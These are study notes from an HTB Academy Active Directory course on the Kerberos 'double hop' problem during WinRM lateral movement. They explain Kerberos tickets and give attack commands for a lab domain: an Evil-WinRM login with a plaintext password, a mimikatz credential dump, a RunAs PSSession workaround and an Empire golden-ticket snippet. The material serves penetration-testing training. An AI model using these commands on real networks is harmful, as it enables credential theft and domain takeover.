π― HTB Academy: Active Directory Enumeration & Attacks
π Overview
The Kerberos "Double Hop" Problem is a critical authentication limitation that occurs when attempting to use Kerberos authentication across two or more network hops. This problem frequently arises during lateral movement operations, particularly when using WinRM/PowerShell remoting, and can significantly impact penetration testing and red team operations. Understanding and overcoming this limitation is essential for successful Active Directory exploitation and lateral movement.
π Attack Chain Context
Complete Active Directory Compromise Timeline:
Privileged Access β Double Hop Problem β Lateral Movement Solutions β Infrastructure Control
(WinRM Access) (Authentication) (Credential Workarounds) (Domain Domination)
Prerequisites from Previous Modules:
Privileged access achieved: WinRM/PSRemote rights discovered via BloodHound
Valid domain credentials: Obtained through various attack vectors
Remote access established: Initial connection to target hosts
Multi-hop requirements: Need to access additional resources from compromised hosts
π§ Technical Fundamentals
Kerberos vs. NTLM Authentication
Kerberos Ticket-Based Authentication
Tickets are NOT passwords: Signed pieces of data from KDC stating resource access rights
Resource-specific: Each ticket grants access to a specific resource/service
Non-transferable: Tickets cannot be reused for different services without proper delegation
Time-limited: Tickets have expiration times and renewal periods
Delegation-dependent: Require specific delegation configurations for multi-hop scenarios
NTLM Hash-Based Authentication
Hash storage: NTLM hash stored in session memory after authentication
Reusable: Hash can be used for subsequent authentication attempts
Session-persistent: Available for duration of user session
Multi-hop capable: Can authenticate to multiple resources without additional configuration
The Core Problem Explained
What Happens During Kerberos Authentication
Initial Authentication: User authenticates to KDC, receives TGT (Ticket Granting Ticket)
Service Request: User requests TGS (Ticket Granting Service) ticket for specific service
Service Access: TGS ticket sent to target service for authentication
Session Establishment: Service validates ticket and grants access
Why the Double Hop Fails
Critical Issue: When connecting via WinRM/PowerShell remoting:
TGS ticket sent: Allows access to the immediate target (Host A)
TGT ticket NOT sent: Cannot request new TGS tickets for additional resources (Host B)
No credential caching: Password/hash not stored in remote session memory
Security assessment: Understanding authentication boundaries and limitations
Incident response: Recognizing double hop exploitation techniques
π Complete mastery of Kerberos "Double Hop" Problem - from technical understanding through practical workarounds to advanced attack chains - representing essential Active Directory lateral movement expertise for enterprise penetration testing!
Attack Host β Target Host A β Target Host B
β β β
Password TGS Ticket NO CREDENTIALS
Available Available (TGT not sent)
# Connect via WinRM from Windows host
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
# Or via Evil-WinRM from Linux
evil-winrm -i 172.16.8.50 -u backupadm -p '!qazXSW@'
# From within WinRM session on DEV01
cd 'C:\Users\Public\'
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
# From Windows PowerShell console
Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm
# Check cached tickets (shows only HTTP service ticket)
klist
# Output:
Current LogonId is 0:0x11e387
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
Server: HTTP/ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
# Exit current session first
Exit-PSSession
# Register new session configuration with RunAs credentials
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
# WARNING: When RunAs is enabled in a Windows PowerShell session configuration,
# the Windows security model cannot enforce a security boundary between different
# user sessions that are created by using this endpoint.
# Restart WinRM service (will disconnect current sessions)
Restart-Service WinRM
# Establish new session with registered configuration
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess
# Empire module for double hop handling
usemodule credentials/mimikatz/golden_ticket
set Credential domain\user:password
set Target target-server
execute